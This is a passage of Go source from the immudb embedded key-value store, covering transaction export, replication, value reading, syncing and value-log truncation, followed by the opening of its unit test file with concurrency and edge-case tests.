return nil, err } linearProofTerms[txID-sourceTxID] = tx.Header().innerHash() } return &LinearAdvanceProof{ LinearProofTerms: linearProofTerms, InclusionProofs: inclusionProofs, }, nil } type LinearAdvanceProof struct { LinearProofTerms [][sha256.Size]byte InclusionProofs [][][sha256.Size]byte } func (s *ImmuStore) txOffsetAndSize(txID uint64) (int64, int, error) { if txID == 0 { return 0, 0, ErrIllegalArguments } off := int64(txID-1) * int64(s.cLogEntrySize) cb := make([]byte, s.cLogEntrySize) _, err := s.cLog.ReadAt(cb[:], int64(off)) if errors.Is(err, multiapp.ErrAlreadyClosed) || errors.Is(err, singleapp.ErrAlreadyClosed) { return 0, 0, ErrAlreadyClosed } // A partially readable commit record must be discarded - // - it is a result of incomplete commit-log write // and will be overwritten on the next commit if errors.Is(err, io.EOF) { return 0, 0, ErrTxNotFound } if err != nil { return 0, 0, err } txOffset := int64(binary.BigEndian.Uint64(cb)) txSize := int(binary.BigEndian.Uint32(cb[offsetSize:])) return txOffset, txSize, nil } type slicedReaderAt struct { bs []byte off int64 } func (r *slicedReaderAt) ReadAt(bs []byte, off int64) (n int, err error) { if off < r.off || int(off-r.off) > len(bs) { return 0, ErrIllegalState } o := int(off - r.off) available := len(r.bs) - o copy(bs, r.bs[o:minInt(available, len(bs))]) if len(bs) > available { return available, io.EOF } return available, nil } func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, skipIntegrityCheck bool, tx *Tx) ([]byte, error) { err := s.readTx(txID, allowPrecommitted, skipIntegrityCheck, tx) if err != nil { return nil, err } var buf bytes.Buffer hdrBs, err := tx.Header().Bytes() if err != nil { return nil, err } var b [lszSize]byte binary.BigEndian.PutUint32(b[:], uint32(len(hdrBs))) _, err = buf.Write(b[:]) if err != nil { return nil, err } _, err = buf.Write(hdrBs) if err != nil { return nil, err } var isValueTruncated bool for i, e := range tx.Entries() { var blen [lszSize]byte // kLen binary.BigEndian.PutUint16(blen[:], uint16(e.kLen)) _, err = buf.Write(blen[:sszSize]) if err != nil { return nil, err } // key _, err = buf.Write(e.Key()) if err != nil { return nil, err } var md []byte if e.md != nil { md = e.md.Bytes() } // mdLen binary.BigEndian.PutUint16(blen[:], uint16(len(md))) _, err = buf.Write(blen[:sszSize]) if err != nil { return nil, err } // md _, err = buf.Write(md) if err != nil { return nil, err } // val // TODO: improve value reading implementation, get rid of _valBs s._valBsMux.Lock() var valBuf []byte if e.vLen > len(s._valBs) { valBuf = make([]byte, e.vLen) } else { valBuf = s._valBs[:e.vLen] } _, err = s.readValueAt(valBuf, e.vOff, e.hVal, skipIntegrityCheck) if err != nil && !errors.Is(err, io.EOF) { s._valBsMux.Unlock() return nil, err } if err == nil { // currently, either all the values are sent or none if isValueTruncated { return nil, fmt.Errorf("%w: partially truncated transaction", ErrCorruptedData) } // vLen binary.BigEndian.PutUint32(blen[:], uint32(e.vLen)) _, err = buf.Write(blen[:]) if err != nil { s._valBsMux.Unlock() return nil, err } // val _, err = buf.Write(valBuf) if err != nil { s._valBsMux.Unlock() return nil, err } } else { // error is eof, the value has been truncated, // value is not available but digest is written instead // currently, either all the values are sent or none if !isValueTruncated && i > 0 { return nil, fmt.Errorf("%w: partially truncated transaction", ErrCorruptedData) } isValueTruncated = true // vHashLen binary.BigEndian.PutUint32(blen[:], uint32(len(e.hVal))) _, err = buf.Write(blen[:]) if err != nil { s._valBsMux.Unlock() return nil, err } // vHash _, err = buf.Write(e.hVal[:]) if err != nil { s._valBsMux.Unlock() return nil, err } } s._valBsMux.Unlock() } // NOTE: adding a boolean to the header to indicate if the transaction has values or not, // so that ReplicateTx knows if the transaction should be precommited with no values var truncatedValByte [1]byte truncatedValByte[0] = 0 if isValueTruncated { truncatedValByte[0] = 1 } binary.BigEndian.PutUint16(b[:], uint16(len(truncatedValByte))) _, err = buf.Write(b[:sszSize]) if err != nil { return nil, err } _, err = buf.Write(truncatedValByte[:]) if err != nil { return nil, err } return buf.Bytes(), nil } func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*TxHeader, error) { if len(exportedTx) == 0 { return nil, ErrIllegalArguments } i := 0 if len(exportedTx) < lszSize { return nil, ErrIllegalArguments } hdrLen := int(binary.BigEndian.Uint32(exportedTx[i:])) i += lszSize if len(exportedTx) < i+hdrLen { return nil, ErrIllegalArguments } hdr := &TxHeader{} err := hdr.ReadFrom(exportedTx[i : i+hdrLen]) if err != nil { return nil, err } i += hdrLen txSpec, err := s.NewWriteOnlyTx(ctx) if err != nil { return nil, err } txSpec.metadata = hdr.Metadata var entries []*EntrySpec = make([]*EntrySpec, 0) for e := 0; e < hdr.NEntries; e++ { if len(exportedTx) < i+2*sszSize+lszSize { return nil, ErrIllegalArguments } kLen := int(binary.BigEndian.Uint16(exportedTx[i:])) i += sszSize if len(exportedTx) < i+sszSize+lszSize+kLen { return nil, ErrIllegalArguments } key := make([]byte, kLen) copy(key, exportedTx[i:]) i += kLen mdLen := int(binary.BigEndian.Uint16(exportedTx[i:])) i += sszSize if len(exportedTx) < i+mdLen { return nil, ErrIllegalArguments } var md *KVMetadata if mdLen > 0 { md = newReadOnlyKVMetadata() err := md.unsafeReadFrom(exportedTx[i : i+mdLen]) if err != nil { return nil, err } i += mdLen } // value vLen := int(binary.BigEndian.Uint32(exportedTx[i:])) i += lszSize if len(exportedTx) < i+vLen { return nil, ErrIllegalArguments } entries = append(entries, &EntrySpec{ Key: key, Metadata: md, Value: exportedTx[i : i+vLen], }) i += vLen } var isTruncated bool // check if there is truncated value information in the transaction if i < len(exportedTx) { // information for truncated value tLen := int(binary.BigEndian.Uint16(exportedTx[i:])) i += sszSize if len(exportedTx) < i+tLen { return nil, ErrIllegalArguments } v := exportedTx[i : i+tLen] // v[0] == 1 means that the value is truncated // validate that the value is either 0 or 1 if len(v) > 0 && v[0] > 1 { return nil, ErrIllegalTruncationArgument } isTruncated = v[0] == 1 i += tLen } if i != len(exportedTx) { return nil, ErrIllegalArguments } // add entries to tx for _, e := range entries { var err error if isTruncated { err = txSpec.set(e.Key, e.Metadata, nil, digest(e.Value), isTruncated, false) } else { err = txSpec.set(e.Key, e.Metadata, e.Value, e.HashValue, isTruncated, false) } if err != nil { return nil, err } } txHdr, err := s.precommit(ctx, txSpec, hdr, skipIntegrityCheck) if err != nil { return nil, err } // wait for syncing to happen before exposing the header err = s.durablePrecommitWHub.WaitFor(ctx, txHdr.ID) if errors.Is(err, watchers.ErrAlreadyClosed) { return nil, ErrAlreadyClosed } if err != nil { return nil, err } s.commitStateRWMutex.Lock() waitForCommit := !s.useExternalCommitAllowance s.commitStateRWMutex.Unlock() if waitForCommit { err = s.commitWHub.WaitFor(ctx, txHdr.ID) if errors.Is(err, watchers.ErrAlreadyClosed) { return nil, ErrAlreadyClosed } if err != nil { return nil, err } if waitForIndexing { err = s.WaitForIndexingUpto(ctx, txHdr.ID) if err != nil { return txHdr, err } } } return txHdr, nil } func (s *ImmuStore) FirstTxSince(ts time.Time) (*TxHeader, error) { left := uint64(1) right := s.LastCommittedTxID() for left < right { middle := left + (right-left)/2 header, err := s.ReadTxHeader(middle, false, false) if err != nil { return nil, err } if header.Ts < ts.Unix() { left = middle + 1 } else { right = middle } } header, err := s.ReadTxHeader(left, false, false) if err != nil { return nil, err } if header.Ts < ts.Unix() { return nil, ErrTxNotFound } return header, nil } func (s *ImmuStore) LastTxUntil(ts time.Time) (*TxHeader, error) { left := uint64(1) right := s.LastCommittedTxID() for left < right { middle := left + ((right-left)+1)/2 header, err := s.ReadTxHeader(middle, false, false) if err != nil { return nil, err } if header.Ts > ts.Unix() { right = middle - 1 } else { left = middle } } header, err := s.ReadTxHeader(left, false, false) if err != nil { return nil, err } if header.Ts > ts.Unix() { return nil, ErrTxNotFound } return header, nil } func (s *ImmuStore) appendableReaderForTx(txID uint64, allowPrecommitted bool) (*appendable.Reader, error) { s.commitStateRWMutex.Lock() defer s.commitStateRWMutex.Unlock() if txID > s.inmemPrecommittedTxID || (!allowPrecommitted && txID > s.committedTxID) { return nil, ErrTxNotFound } cacheMiss := false txbs, err := s.txLogCache.Get(txID) if err != nil { if errors.Is(err, cache.ErrKeyNotFound) { cacheMiss = true } else { return nil, err } } var txOff int64 var txSize int if txID <= s.committedTxID { txOff, txSize, err = s.txOffsetAndSize(txID) } else { _, _, txOff, txSize, err = s.cLogBuf.readAhead(int(txID - s.committedTxID - 1)) } if err != nil { return nil, err } var txr io.ReaderAt if cacheMiss { txr = s.txLog } else { txr = &slicedReaderAt{bs: txbs.([]byte), off: txOff} } return appendable.NewReaderFrom(txr, txOff, txSize), nil } func (s *ImmuStore) ReadTx(txID uint64, skipIntegrityCheck bool, tx *Tx) error { s.mutex.Lock() defer s.mutex.Unlock() if s.closed { return ErrAlreadyClosed } return s.readTx(txID, false, skipIntegrityCheck, tx) } func (s *ImmuStore) readTx(txID uint64, allowPrecommitted bool, skipIntegrityCheck bool, tx *Tx) error { r, err := s.appendableReaderForTx(txID, allowPrecommitted) if err != nil { return err } err = tx.readFrom(r, skipIntegrityCheck) if errors.Is(err, io.EOF) { return fmt.Errorf("%w: unexpected EOF while reading tx %d", ErrCorruptedTxData, txID) } return err } func (s *ImmuStore) ReadTxHeader(txID uint64, allowPrecommitted bool, skipIntegrityCheck bool) (*TxHeader, error) { r, err := s.appendableReaderForTx(txID, allowPrecommitted) if err != nil { return nil, err } tdr := &txDataReader{r: r, skipIntegrityCheck: skipIntegrityCheck} header, err := tdr.readHeader(s.maxTxEntries) if err != nil { return nil, err } e := &TxEntry{k: make([]byte, s.maxKeyLen)} for i := 0; i < header.NEntries; i++ { err = tdr.readEntry(e) if err != nil { return nil, err } } htree, err := htree.New(header.NEntries) if err != nil { return nil, err } err = tdr.buildAndValidateHtree(htree) if err != nil { return nil, err } return header, nil } func (s *ImmuStore) ReadTxEntry(txID uint64, key []byte, skipIntegrityCheck bool) (*TxEntry, *TxHeader, error) { var ret *TxEntry r, err := s.appendableReaderForTx(txID, false) if err != nil { return nil, nil, err } tdr := &txDataReader{r: r, skipIntegrityCheck: skipIntegrityCheck} header, err := tdr.readHeader(s.maxTxEntries) if err != nil { return nil, nil, err } e := &TxEntry{k: make([]byte, s.maxKeyLen)} for i := 0; i < header.NEntries; i++ { err = tdr.readEntry(e) if err != nil { return nil, nil, err } if bytes.Equal(e.key(), key) { if ret != nil { return nil, nil, ErrCorruptedTxDataDuplicateKey } ret = e // Allocate new placeholder for scanning the rest of entries e = &TxEntry{k: make([]byte, s.maxKeyLen)} } } if ret == nil { return nil, nil, ErrKeyNotFound } htree, err := htree.New(header.NEntries) if err != nil { return nil, nil, err } err = tdr.buildAndValidateHtree(htree) if err != nil { return nil, nil, err } return ret, header, nil } // ReadValue returns the actual associated value to a key at a specific transaction // ErrExpiredEntry is be returned if the specified time has already elapsed func (s *ImmuStore) ReadValue(entry *TxEntry) ([]byte, error) { if entry == nil || !entry.readonly { return nil, ErrIllegalArguments } if entry.md != nil && !entry.md.readonly { return nil, ErrIllegalArguments } if entry.md != nil && entry.md.ExpiredAt(time.Now()) { return nil, ErrExpiredEntry } if entry.vLen == 0 { // while not required, nil is returned instead of an empty slice // TODO: this step should be done after reading the value to ensure proper validations are made // But current changes in ExportTx with truncated transactions are not providing the value length // for truncated transactions, making it impossible to differentiate an empty value with a truncated one return nil, nil } b := make([]byte, entry.vLen) _, err := s.readValueAt(b, entry.vOff, entry.hVal, false) if err != nil { return nil, err } return b, nil } // readValueAt fills b with the value referenced by off // expected value size and digest may be required for validations to pass func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, skipIntegrityCheck bool) (n int, err error) { vLogID, offset := decodeOffset(off) if !s.embeddedValues && vLogID == 0 && len(b) > 0 { return 0, io.EOF // it means value was not stored on any vlog i.e. a truncated transaction was replicated } if len(b) > 0 { foundInTheCache := false if s.vLogCache != nil { val, err := s.vLogCache.Get(off) if err == nil { bval := val.([]byte) // the requested value was found in the value cache copy(b, bval) n = len(bval) foundInTheCache = true } else if !errors.Is(err, cache.ErrKeyNotFound) { return 0, err } } if !foundInTheCache { vLog, err := s.fetchVLog(vLogID) if err != nil { return 0, err } defer s.releaseVLog(vLogID) n, err = vLog.ReadAt(b, offset) if errors.Is(err, multiapp.ErrAlreadyClosed) || errors.Is(err, singleapp.ErrAlreadyClosed) { return n, ErrAlreadyClosed } if err != nil { return n, err } if s.vLogCache != nil { cb := make([]byte, n) copy(cb, b) _, _, err = s.vLogCache.Put(off, cb) if err != nil { return n, err } } } } // either value was empty (n == 0) // or a non-empty value (n > 0) was read from cache or disk if !skipIntegrityCheck && (len(b) != n || hvalue != sha256.Sum256(b[:n])) { return n, fmt.Errorf("%w: value length or digest mismatch", ErrCorruptedData) } return n, nil } func (s *ImmuStore) validateEntries(entries []*EntrySpec) error { if len(entries) > s.maxTxEntries { return ErrMaxTxEntriesLimitExceeded } m := make(map[string]struct{}, len(entries)) for _, kv := range entries { if kv.Key == nil { return ErrNullKey } if len(kv.Key) > s.maxKeyLen { return ErrMaxKeyLenExceeded } if len(kv.Value) > s.maxValueLen { return ErrMaxValueLenExceeded } ks := slices.BytesToString(kv.Key) if _, ok := m[ks]; ok { return ErrDuplicatedKey } m[ks] = struct{}{} } return nil } func (s *ImmuStore) validatePreconditions(preconditions []Precondition) error { if len(preconditions) > s.maxTxEntries { return ErrInvalidPreconditionTooMany } for _, c := range preconditions { if c == nil { return ErrInvalidPreconditionNull } err := c.Validate(s) if err != nil { return err } } return nil } func (s *ImmuStore) Sync() error { s.mutex.Lock() defer s.mutex.Unlock() if s.closed { return ErrAlreadyClosed } return s.sync() } func (s *ImmuStore) sync() error { s.commitStateRWMutex.Lock() defer s.commitStateRWMutex.Unlock() if s.inmemPrecommittedTxID == s.committedTxID { // everything already synced return nil } for i := range s.vLogs { vLog, err := s.fetchVLog(i + 1) if err != nil { return err } defer s.releaseVLog(i + 1) err = vLog.Flush() if err != nil { return err } err = vLog.Sync() if err != nil { return err } } err := s.txLog.Flush() if err != nil { return err } err = s.txLog.Sync() if err != nil { return err } err = s.durablePrecommitWHub.DoneUpto(s.inmemPrecommittedTxID) if err != nil { return err } commitAllowedUpToTxID := s.commitAllowedUpTo() txsCountToBeCommitted := int(commitAllowedUpToTxID - s.committedTxID) if txsCountToBeCommitted == 0 { return nil } // will overwrite partially written and uncommitted data err = s.cLog.SetOffset(int64(s.committedTxID) * int64(s.cLogEntrySize)) if err != nil { return err } var commitUpToTxID uint64 var commitUpToTxAlh [sha256.Size]byte for i := 0; i < txsCountToBeCommitted; i++ { txID, alh, txOff, txSize, err := s.cLogBuf.readAhead(i) if err != nil { return err } cb := make([]byte, s.cLogEntrySize) binary.BigEndian.PutUint64(cb, uint64(txOff)) binary.BigEndian.PutUint32(cb[offsetSize:], uint32(txSize)) if s.cLogEntrySize == cLogEntrySizeV2 { copy(cb[offsetSize+lszSize:], alh[:]) } _, _, err = s.cLog.Append(cb) if err != nil { return err } commitUpToTxID = txID commitUpToTxAlh = alh } // added as a safety fuse but this situation should NOT happen if commitUpToTxID != commitAllowedUpToTxID { return fmt.Errorf("%w: may commit up to %d but actual transaction to be committed is %d", ErrUnexpectedError, commitAllowedUpToTxID, commitUpToTxID) } err = s.cLog.Flush() if err != nil { return err } err = s.cLog.Sync() if err != nil { return err } err = s.cLogBuf.advanceReader(txsCountToBeCommitted) if err != nil { return err } s.committedTxID = commitUpToTxID s.committedAlh = commitUpToTxAlh s.commitWHub.DoneUpto(commitUpToTxID) return nil } func (s *ImmuStore) IsClosed() bool { s.mutex.Lock() defer s.mutex.Unlock() return s.closed } func (s *ImmuStore) Close() error { s.mutex.Lock() defer s.mutex.Unlock() if s.closed { return ErrAlreadyClosed } s.closed = true merr := multierr.NewMultiErr() for _, indexer := range s.indexers { err := indexer.Close() merr.Append(err) } for i := range s.vLogs { vLog, err := s.fetchVLog(i + 1) merr.Append(err) err = vLog.Close() merr.Append(err) err = s.releaseVLog(i + 1) merr.Append(err) } err := s.inmemPrecommitWHub.Close() merr.Append(err) err = s.durablePrecommitWHub.Close() merr.Append(err) err = s.commitWHub.Close() merr.Append(err) err = s.txLog.Close() merr.Append(err) err = s.cLog.Close() merr.Append(err) err = s.aht.Close() merr.Append(err) used, _, _ := s.txPool.Stats() if used > 0 { merr.Append(errors.New("not all tx holders were released")) } return merr.Reduce() } func (s *ImmuStore) wrapAppendableErr(err error, action string) error { if errors.Is(err, singleapp.ErrAlreadyClosed) || errors.Is(err, multiapp.ErrAlreadyClosed) { s.logger.Warningf("Got '%v' while '%s'", err, action) return ErrAlreadyClosed } return err } func minInt(a, b int) int { if a <= b { return a } return b } func maxUint64(a, b uint64) uint64 { if a <= b { return b } return a } func minUint64(a, b uint64) uint64 { if a >= b { return b } return a } // readTxOffsetAt reads the value-log offset of a specific entry (index) in a transaction (txID) // txID is the transaction ID // index is the index of the entry in the transaction // allowPrecommitted indicates if a precommitted transaction can be read func (s *ImmuStore) readTxOffsetAt(txID uint64, allowPrecommitted bool, index int) (*TxEntry, error) { s.mutex.Lock() defer s.mutex.Unlock() if s.closed { return nil, ErrAlreadyClosed } r, err := s.appendableReaderForTx(txID, allowPrecommitted) if err != nil { return nil, err } tdr := &txDataReader{r: r} hdr, err := tdr.readHeader(s.maxTxEntries) if err != nil { return nil, err } if hdr.NEntries < index { return nil, ErrTxEntryIndexOutOfRange } e := &TxEntry{k: make([]byte, s.maxKeyLen)} for i := 0; i < index; i++ { err = tdr.readEntry(e) if err != nil { return nil, err } } return e, nil } // TruncateUptoTx deletes the value-log file up to transactions // that are strictly below the specified minTxID. func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { /* When values are appended to the value log file, they are not inserted in strict monotic order of time. Depending on the maxConcurrency value, there could be n transactions trying to insert into the log at the same time. This could lead to the situation where a transaction (n+1) could be inserted in the value log before transaction (n) discard point | v --------+-------+--------+---------- | | | tn+1:vx tn:vx tn-1:vx | | +----------------+ max concurrency range If the log is truncated upto tn, it could lead to removal of data for tn+1. To avoid this overlap, we first go back from the discard point to fetch offsets across vlogs for safe delete points, and then check for transactions further than the discard point to figure out the least offset from the range which can safely be deleted. This offset, tn+1 in the above scenario is the safest point to discard upto to avoid deletion of values for any future transaction. */ s.logger.Infof("running truncation up to transaction '%d'", minTxID) if s.embeddedValues { s.logger.Infof("truncation with embedded values does not delete any data") return nil } // tombstones maintain the minimum offset for each value log file that can be safely deleted. tombstones := make(map[byte]int64) readFirstEntryOffset := func(id uint64) (*TxEntry, error) { return s.readTxOffsetAt(id, false, 1) } back := func(txID uint64) error { firstTxEntry, err := readFirstEntryOffset(txID) if err != nil { return err } // Iterate over past transactions and store the minimum offset for each value log file. vLogID, off := decodeOffset(firstTxEntry.VOff()) if _, ok := tombstones[vLogID]; !ok { tombstones[vLogID] = off } return nil } front := func(txID uint64) error { firstTxEntry, err := readFirstEntryOffset(txID) if err != nil { return err } // Check if any future transaction offset lies before past transaction(s) // If so, then update the offset to the minimum offset for that value log file. vLogID, off := decodeOffset(firstTxEntry.VOff()) if val, ok := tombstones[vLogID]; ok { if off < val { tombstones[vLogID] = off } } return nil } // Walk back to get offsets across vlogs which can be deleted safely. // This way, we can calculate the minimum offset for each value log file. { var i uint64 = minTxID for i > 0 && len(tombstones) != s.MaxIOConcurrency() { err := back(i) // if there is an error reading a transaction, stop the traversal and return the error. if err != nil && !errors.Is(err, ErrTxEntryIndexOutOfRange) /* tx has entries*/ { s.logger.Errorf("failed to fetch transaction %d {traversal=back, err = %v}", i, err) return err } i-- } } // Walk front to check if any future transaction offset lies before past transaction(s) { // Check for transactions upto the last committed transaction to avoid deletion of values for any future transaction. maxTxID := s.LastCommittedTxID() s.logger.Infof("running truncation check between transaction '%d' and '%d'", minTxID, maxTxID) // TODO: add more integration tests // Iterate over all future transactions to check if any offset lies before past transaction(s) offset. for j := minTxID; j <= maxTxID; j++ { err := front(j) if err != nil && !errors.Is(err, ErrTxEntryIndexOutOfRange) /* tx has entries*/ { s.logger.Errorf("failed to fetch transaction %d {traversal=front, err = %v}", j, err) return err } } } // Delete offset from different value logs merr := multierr.NewMultiErr() { for vLogID, offset := range tombstones { vlog, err := s.fetchVLog(vLogID) if err != nil { merr.Append(err) continue } defer s.releaseVLog(vLogID) s.logger.Infof("truncating vlog '%d' at offset '%d'", vLogID, offset) err = vlog.DiscardUpto(offset) merr.Append(err) } } return merr.Reduce() } func digest(s []byte) [sha256.Size]byte { var a [sha256.Size]byte copy(a[:], s) return a } ================================================ FILE: embedded/store/immustore_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "bytes" "context" "crypto/sha256" "encoding/binary" "errors" "fmt" "io" "math/rand" "os" "path/filepath" "strings" "sync" "testing" "time" "github.com/codenotary/immudb/embedded" "github.com/codenotary/immudb/embedded/ahtree" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/mocked" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/htree" "github.com/codenotary/immudb/embedded/tbtree" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func immustoreClose(t *testing.T, immuStore *ImmuStore) { if immuStore.IsClosed() { return } err := immuStore.Close() if !t.Failed() { require.NoError(t, err) } } func tempTxHolder(t *testing.T, immuStore *ImmuStore) *Tx { return NewTx(immuStore.maxTxEntries, immuStore.maxKeyLen) } func TestImmudbStoreConcurrency(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(4) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, immuStore) defer immustoreClose(t, immuStore) txCount := 100 eCount := 1000 var wg sync.WaitGroup wg.Add(2) go func() { defer wg.Done() for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i)) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.EqualValues(t, i+1, txhdr.ID) } }() go func() { defer wg.Done() txID := uint64(1) for { time.Sleep(time.Duration(100) * time.Millisecond) txReader, err := immuStore.NewTxReader(txID, false, tempTxHolder(t, immuStore)) require.NoError(t, err) for { time.Sleep(time.Duration(10) * time.Millisecond) tx, err := txReader.Read() if err == ErrNoMoreEntries { break } require.NoError(t, err) if tx.header.ID == uint64(txCount) { return } txID = tx.header.ID } } }() wg.Wait() } func TestImmudbStoreConcurrentCommits(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(5) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, immuStore) defer immustoreClose(t, immuStore) txCount := 100 eCount := 100 var wg sync.WaitGroup wg.Add(10) txs := make([]*Tx, 10) for c := 0; c < 10; c++ { txs[c] = tempTxHolder(t, immuStore) } for c := 0; c < 10; c++ { go func(txHolder *Tx) { defer wg.Done() for c := 0; c < txCount; { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(c)) err = tx.Set(k, nil, v) require.NoError(t, err) } hdr, err := tx.AsyncCommit(context.Background()) if err == ErrMaxConcurrencyLimitExceeded { time.Sleep(1 * time.Millisecond) continue } require.NoError(t, err) err = immuStore.ReadTx(hdr.ID, false, txHolder) require.NoError(t, err) for _, e := range txHolder.Entries() { _, err := immuStore.ReadValue(e) require.NoError(t, err) } c++ } }(txs[c]) } wg.Wait() } func TestImmudbStoreConcurrentCommitsWithEmbeddedValues(t *testing.T) { opts := DefaultOptions(). WithSynced(false). WithMaxConcurrency(5). WithEmbeddedValues(true). WithPreallocFiles(true). WithVLogCacheSize(10) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, immuStore) defer immustoreClose(t, immuStore) txCount := 100 eCount := 100 var wg sync.WaitGroup wg.Add(10) txs := make([]*Tx, 10) for c := 0; c < 10; c++ { txs[c] = tempTxHolder(t, immuStore) } for c := 0; c < 10; c++ { go func(txHolder *Tx) { defer wg.Done() for c := 0; c < txCount; { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(c)) err = tx.Set(k, nil, v) require.NoError(t, err) } hdr, err := tx.AsyncCommit(context.Background()) if err == ErrMaxConcurrencyLimitExceeded { time.Sleep(1 * time.Millisecond) continue } require.NoError(t, err) err = immuStore.ReadTx(hdr.ID, false, txHolder) require.NoError(t, err) for _, e := range txHolder.Entries() { _, err := immuStore.ReadValue(e) require.NoError(t, err) } c++ } }(txs[c]) } wg.Wait() } func TestImmudbStoreOpenWithInvalidPath(t *testing.T) { _, err := Open("immustore_test.go", DefaultOptions()) require.ErrorIs(t, err, ErrPathIsNotADirectory) } func TestImmudbStoreOnClosedStore(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions().WithMaxConcurrency(1)) require.NoError(t, err) err = immuStore.ReadTx(1, false, nil) require.ErrorIs(t, err, ErrTxNotFound) err = immuStore.Close() require.NoError(t, err) err = immuStore.Close() require.ErrorIs(t, err, ErrAlreadyClosed) err = immuStore.Sync() require.ErrorIs(t, err, ErrAlreadyClosed) err = immuStore.FlushIndexes(100, true) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = immuStore.commit(context.Background(), &OngoingTx{entries: []*EntrySpec{ {Key: []byte("key1")}, }}, nil, false, false) require.ErrorIs(t, err, ErrAlreadyClosed) err = immuStore.ReadTx(1, false, nil) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = immuStore.NewTxReader(1, false, nil) require.ErrorIs(t, err, ErrAlreadyClosed) } func TestImmudbStoreSettings(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions().WithMaxConcurrency(1)) require.NoError(t, err) defer immustoreClose(t, immuStore) require.Equal(t, DefaultOptions().ReadOnly, immuStore.ReadOnly()) require.Equal(t, DefaultOptions().Synced, immuStore.Synced()) require.Equal(t, 1, immuStore.MaxConcurrency()) require.Equal(t, DefaultOptions().MaxIOConcurrency, immuStore.MaxIOConcurrency()) require.Equal(t, DefaultOptions().MaxActiveTransactions, immuStore.MaxActiveTransactions()) require.Equal(t, DefaultOptions().MVCCReadSetLimit, immuStore.MVCCReadSetLimit()) require.Equal(t, DefaultOptions().MaxTxEntries, immuStore.MaxTxEntries()) require.Equal(t, DefaultOptions().MaxKeyLen, immuStore.MaxKeyLen()) require.Equal(t, DefaultOptions().MaxValueLen, immuStore.MaxValueLen()) } func TestImmudbStoreWithTimeFunction(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) defer immustoreClose(t, immuStore) err = immuStore.UseTimeFunc(nil) require.ErrorIs(t, err, ErrIllegalArguments) fixedTime := time.Now() // add some delay to ensure time has passed time.Sleep(10 * time.Microsecond) err = immuStore.UseTimeFunc(func() time.Time { return fixedTime }) require.NoError(t, err) tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.Equal(t, fixedTime.Unix(), hdr.Ts) } func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("should fail with invalid options", func(t *testing.T) { _, err := Open(t.TempDir(), nil) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("should fail with invalid appendables", func(t *testing.T) { _, err := OpenWith(t.TempDir(), nil, nil, nil, DefaultOptions()) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("should fail with invalid appendables and invalid options", func(t *testing.T) { _, err := OpenWith(t.TempDir(), nil, nil, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("should fail with invalid dir name", func(t *testing.T) { _, err := Open("invalid\x00_dir_name", DefaultOptions()) require.EqualError(t, err, "stat invalid\x00_dir_name: invalid argument") }) t.Run("should fail with permission denied", func(t *testing.T) { path := filepath.Join(t.TempDir(), "ro_path") require.NoError(t, os.MkdirAll(path, 0500)) _, err := Open(filepath.Join(path, "subpath"), DefaultOptions()) require.ErrorContains(t, err, "subpath: permission denied") }) t.Run("should fail when initiating appendables", func(t *testing.T) { for _, failedAppendable := range []string{"tx", "commit", "val_0"} { injectedError := fmt.Errorf("Injected error for: %s", failedAppendable) _, err := Open(t.TempDir(), DefaultOptions(). WithEmbeddedValues(false). WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { if subPath == failedAppendable { return nil, injectedError } return &mocked.MockedAppendable{ MetadataFn: func() []byte { return nil }, }, nil })) require.ErrorIs(t, err, injectedError) } }) // basic appendable initialization vLog := &mocked.MockedAppendable{ CloseFn: func() error { return nil }, } vLogs := []appendable.Appendable{vLog} txLog := &mocked.MockedAppendable{ CloseFn: func() error { return nil }, ReadAtFn: func(bs []byte, off int64) (int, error) { return 0, io.EOF }, } cLog := &mocked.MockedAppendable{ MetadataFn: func() []byte { return nil }, CloseFn: func() error { return nil }, 